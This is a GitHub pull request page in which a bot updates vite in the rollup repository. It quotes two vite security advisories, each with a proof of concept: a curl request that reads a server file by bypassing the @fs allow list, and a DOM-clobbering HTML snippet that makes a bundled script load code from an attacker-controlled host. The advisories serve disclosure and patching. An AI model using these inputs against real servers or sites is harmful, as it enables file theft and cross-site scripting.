chore(deps): update dependency vite to v5.4.6 [security] #5657

renovate · 2024-09-17T20:25:26Z

This PR contains the following updates:

Package	Change	Age	Adoption	Passing	Confidence
vite (source)	`5.4.3` -> `5.4.6`

GitHub Vulnerability Alerts

CVE-2024-45811

Summary

The contents of arbitrary files can be returned to the browser.

Details

@fs denies access to files outside of Vite serving allow list. Adding ?import&raw to the URL bypasses this limitation and returns the file content if it exists.

PoC

$ npm create vite@latest
$ cd vite-project/
$ npm install
$ npm run dev

$ echo "top secret content" > /tmp/secret.txt

# expected behaviour
$ curl "http://localhost:5173/@&#8203;fs/tmp/secret.txt"

    <body>
      <h1>403 Restricted</h1>
      <p>The request url &quot;/tmp/secret.txt&quot; is outside of Vite serving allow list.

# security bypassed
$ curl "http://localhost:5173/@&#8203;fs/tmp/secret.txt?import&raw"
export default "top secret content\n"
//# sourceMappingURL=data:application/json;base64,eyJ2...

CVE-2024-45812

Summary

We discovered a DOM Clobbering vulnerability in Vite when building scripts to cjs/iife/umd output format. The DOM Clobbering gadget in the module can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., an img tag with an unsanitized name attribute) are present.

Note that, we have identified similar security issues in Webpack: GHSA-4vvj-4cpr-p986

Details

Backgrounds

DOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. More for information about DOM Clobbering, here are some references:

[1] https://scnps.co/papers/sp23_domclob.pdf
[2] https://research.securitum.com/xss-in-amp4email-dom-clobbering/

Gadgets found in Vite

We have identified a DOM Clobbering vulnerability in Vite bundled scripts, particularly when the scripts dynamically import other scripts from the assets folder and the developer sets the build output format to cjs, iife, or umd. In such cases, Vite replaces relative paths starting with __VITE_ASSET__ using the URL retrieved from document.currentScript.

However, this implementation is vulnerable to a DOM Clobbering attack. The document.currentScript lookup can be shadowed by an attacker via the browser's named DOM tree element access mechanism. This manipulation allows an attacker to replace the intended script element with a malicious HTML element. When this happens, the src attribute of the attacker-controlled element is used as the URL for importing scripts, potentially leading to the dynamic loading of scripts from an attacker-controlled server.

const relativeUrlMechanisms = {
  amd: (relativePath) => {
    if (relativePath[0] !== ".") relativePath = "./" + relativePath;
    return getResolveUrl(
      `require.toUrl('${escapeId(relativePath)}'), document.baseURI`
    );
  },
  cjs: (relativePath) => `(typeof document === 'undefined' ? ${getFileUrlFromRelativePath(
    relativePath
  )} : ${getRelativeUrlFromDocument(relativePath)})`,
  es: (relativePath) => getResolveUrl(
    `'${escapeId(partialEncodeURIPath(relativePath))}', import.meta.url`
  ),
  iife: (relativePath) => getRelativeUrlFromDocument(relativePath),
  // NOTE: make sure rollup generate `module` params
  system: (relativePath) => getResolveUrl(
    `'${escapeId(partialEncodeURIPath(relativePath))}', module.meta.url`
  ),
  umd: (relativePath) => `(typeof document === 'undefined' && typeof location === 'undefined' ? ${getFileUrlFromRelativePath(
    relativePath
  )} : ${getRelativeUrlFromDocument(relativePath, true)})`
};

PoC

Considering a website that contains the following main.js script, the devloper decides to use the Vite to bundle up the program with the following configuration.

// main.js
import extraURL from './extra.js?url'
var s = document.createElement('script')
s.src = extraURL
document.head.append(s)

// extra.js
export default "https://myserver/justAnOther.js"

// vite.config.js
import { defineConfig } from 'vite'

export default defineConfig({
  build: {
    assetsInlineLimit: 0, // To avoid inline assets for PoC
    rollupOptions: {
      output: {
        format: "cjs"
      },
    },
  },
  base: "./",
});

After running the build command, the developer will get following bundle as the output.

// dist/index-DDmIg9VD.js
"use strict";const t=""+(typeof document>"u"?require("url").pathToFileURL(__dirname+"/extra-BLVEx9Lb.js").href:new URL("extra-BLVEx9Lb.js",document.currentScript&&document.currentScript.src||document.baseURI).href);var e=document.createElement("script");e.src=t;document.head.append(e);

Adding the Vite bundled script, dist/index-DDmIg9VD.js, as part of the web page source code, the page could load the extra.js file from the attacker's domain, attacker.controlled.server. The attacker only needs to insert an img tag with the name attribute set to currentScript. This can be done through a website's feature that allows users to embed certain script-less HTML (e.g., markdown renderers, web email clients, forums) or via an HTML injection vulnerability in third-party JavaScript loaded on the page.

<!DOCTYPE html>
<html>
<head>
  <title>Vite Example</title>
  <!-- Attacker-controlled Script-less HTML Element starts--!>
  <img name="currentScript" src="https://attacker.controlled.server/"></img>
  <!-- Attacker-controlled Script-less HTML Element ends--!>
</head>
<script type="module" crossorigin src="/assets/index-DDmIg9VD.js"></script>
<body>
</body>
</html>

Impact

This vulnerability can result in cross-site scripting (XSS) attacks on websites that include Vite-bundled files (configured with an output format of cjs, iife, or umd) and allow users to inject certain scriptless HTML tags without properly sanitizing the name or id attributes.

Patch

// https://github.com/vitejs/vite/blob/main/packages/vite/src/node/build.ts#L1296
const getRelativeUrlFromDocument = (relativePath: string, umd = false) =>
  getResolveUrl(
    `'${escapeId(partialEncodeURIPath(relativePath))}', ${
      umd ? `typeof document === 'undefined' ? location.href : ` : ''
    }document.currentScript && document.currentScript.tagName.toUpperCase() === 'SCRIPT' && document.currentScript.src || document.baseURI`,
  )

Release Notes

vitejs/vite (vite)

`v5.4.6`

Compare Source

Please refer to CHANGELOG.md for details.

`v5.4.5`

Compare Source

Please refer to CHANGELOG.md for details.

`v5.4.4`

Compare Source

Please refer to CHANGELOG.md for details.

Configuration

📅 Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).

🚦 Automerge: Enabled.

♻ Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.

If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

vercel · 2024-09-17T20:25:29Z

The latest updates on your projects. Learn more about Vercel for Git ↗︎

Name	Status	Preview	Comments	Updated (UTC)
rollup	✅ Ready (Inspect)	Visit Preview	💬 Add feedback	Sep 18, 2024 5:31am

github-actions · 2024-09-17T20:28:16Z

Thank you for your contribution! ❤️

You can try out this pull request locally by installing Rollup via

npm install rollup/rollup#renovate/npm-vite-vulnerability

Notice: Ensure you have installed the latest stable Rust toolchain. If you haven't installed it yet, please see https://www.rust-lang.org/tools/install to learn how to download Rustup and install Rust.

or load it into the REPL:
https://rollup-fp4zj93fu-rollup-js.vercel.app/repl/?pr=5657

github-actions · 2024-09-17T20:31:33Z

Performance report!

Rough benchmark

Command	Mean [s]	Min [s]	Max [s]	Relative
`node _benchmark/previous/bin/rollup -i ./perf/entry.js -o _benchmark/result/previous.js`	9.316 ± 0.045	9.270	9.360	1.01 ± 0.01
`node _benchmark/current/bin/rollup -i ./perf/entry.js -o _benchmark/result/current.js`	9.263 ± 0.044	9.213	9.294	1.00

Internal benchmark

BUILD: 8197ms, 749 MB
- initialize: 0ms, 26 MB
- generate module graph: 3138ms, 574 MB
  - generate ast: 1487ms, 567 MB
- sort and bind modules: 449ms, 617 MB
- mark included statements: 4608ms, 749 MB
  - treeshaking pass 1: 1557ms, 715 MB
  - treeshaking pass 2: 749ms, 743 MB
  - treeshaking pass 3: 292ms, 745 MB
  - treeshaking pass 4: 277ms, 748 MB
  - treeshaking pass 5: 321ms, 746 MB
  - treeshaking pass 6: 261ms, 753 MB
  - treeshaking pass 7: 245ms, 754 MB
  - treeshaking pass 8: 238ms, 757 MB
  - treeshaking pass 9: 218ms, 754 MB
  - treeshaking pass 10: 221ms, 752 MB
  - treeshaking pass 11: 217ms, 749 MB
GENERATE: 902ms, 1.02 GB
- initialize render: 0ms, 914 MB
- generate chunks: 89ms, 917 MB
  - optimize chunks: 0ms, 917 MB
- render chunks: 791ms, 1 GB
- transform chunks: 19ms, 1.02 GB
- generate bundle: 0ms, 1.02 GB

codecov · 2024-09-17T20:34:29Z

Codecov Report

All modified and coverable lines are covered by tests ✅

Project coverage is 99.39%. Comparing base (bd735b6) to head (91a62c7).
Report is 1 commits behind head on master.

Additional details and impacted files

@@           Coverage Diff           @@
##           master    #5657   +/-   ##
=======================================
  Coverage   99.39%   99.39%           
=======================================
  Files         242      242           
  Lines        9345     9345           
  Branches     2470     2470           
=======================================
  Hits         9288     9288           
  Misses         48       48           
  Partials        9        9

☔ View full report in Codecov by Sentry.
📢 Have feedback on the report? Share it here.

github-actions · 2024-09-19T04:56:16Z

This PR has been released as part of rollup@4.22.0. You can test it via npm install rollup.

renovate bot enabled auto-merge September 17, 2024 20:25

renovate-approve bot approved these changes Sep 17, 2024

View reviewed changes

vercel bot deployed to Preview September 17, 2024 20:26 View deployment

chore(deps): update dependency vite to v5.4.6 [security]

91a62c7

renovate bot force-pushed the renovate/npm-vite-vulnerability branch from 57ac354 to 91a62c7 Compare September 18, 2024 05:29

vercel bot deployed to Preview September 18, 2024 05:31 View deployment

renovate bot added this pull request to the merge queue Sep 18, 2024

Merged via the queue into master with commit 8fc1223 Sep 18, 2024
39 checks passed

lukastaegert deleted the renovate/npm-vite-vulnerability branch September 18, 2024 07:00

leonardoadame mentioned this pull request Oct 22, 2024

[Snyk] Upgrade rollup from 3.29.5 to 4.22.5 leonardoadame/Affiliate-tech#991

Open

Provide feedback

Saved searches

Use saved searches to filter your results more quickly

Uh oh!

Uh oh!

chore(deps): update dependency vite to v5.4.6 [security] #5657

chore(deps): update dependency vite to v5.4.6 [security] #5657

Uh oh!

renovate bot commented Sep 17, 2024 •

edited

Loading

Uh oh!

vercel bot commented Sep 17, 2024 •

edited

Loading

Uh oh!

github-actions bot commented Sep 17, 2024 •

edited

Loading

Uh oh!

github-actions bot commented Sep 17, 2024 •

edited

Loading

Uh oh!

codecov bot commented Sep 17, 2024 •

edited

Loading

Uh oh!

Uh oh!

github-actions bot commented Sep 19, 2024

Uh oh!

Uh oh!

Uh oh!

chore(deps): update dependency vite to v5.4.6 [security] #5657

chore(deps): update dependency vite to v5.4.6 [security] #5657

Uh oh!

Conversation

renovate bot commented Sep 17, 2024 • edited Loading Uh oh! There was an error while loading. Please reload this page.

Uh oh!

GitHub Vulnerability Alerts

CVE-2024-45811

Summary

Details

PoC

CVE-2024-45812

Summary

Details

PoC

Impact

Patch

Release Notes

v5.4.6

v5.4.5

v5.4.4

Configuration

Uh oh!

vercel bot commented Sep 17, 2024 • edited Loading Uh oh! There was an error while loading. Please reload this page.

Uh oh!

Uh oh!

github-actions bot commented Sep 17, 2024 • edited Loading Uh oh! There was an error while loading. Please reload this page.

Uh oh!

Thank you for your contribution! ❤️

Uh oh!

github-actions bot commented Sep 17, 2024 • edited Loading Uh oh! There was an error while loading. Please reload this page.

Uh oh!

Performance report!

Rough benchmark

Internal benchmark

Uh oh!

codecov bot commented Sep 17, 2024 • edited Loading Uh oh! There was an error while loading. Please reload this page.

Uh oh!

Codecov Report

Uh oh!

Uh oh!

github-actions bot commented Sep 19, 2024

Uh oh!

Uh oh!

renovate bot commented Sep 17, 2024 •

edited

Loading

`v5.4.6`

`v5.4.5`

`v5.4.4`

vercel bot commented Sep 17, 2024 •

edited

Loading

github-actions bot commented Sep 17, 2024 •

edited

Loading

github-actions bot commented Sep 17, 2024 •

edited

Loading

codecov bot commented Sep 17, 2024 •

edited

Loading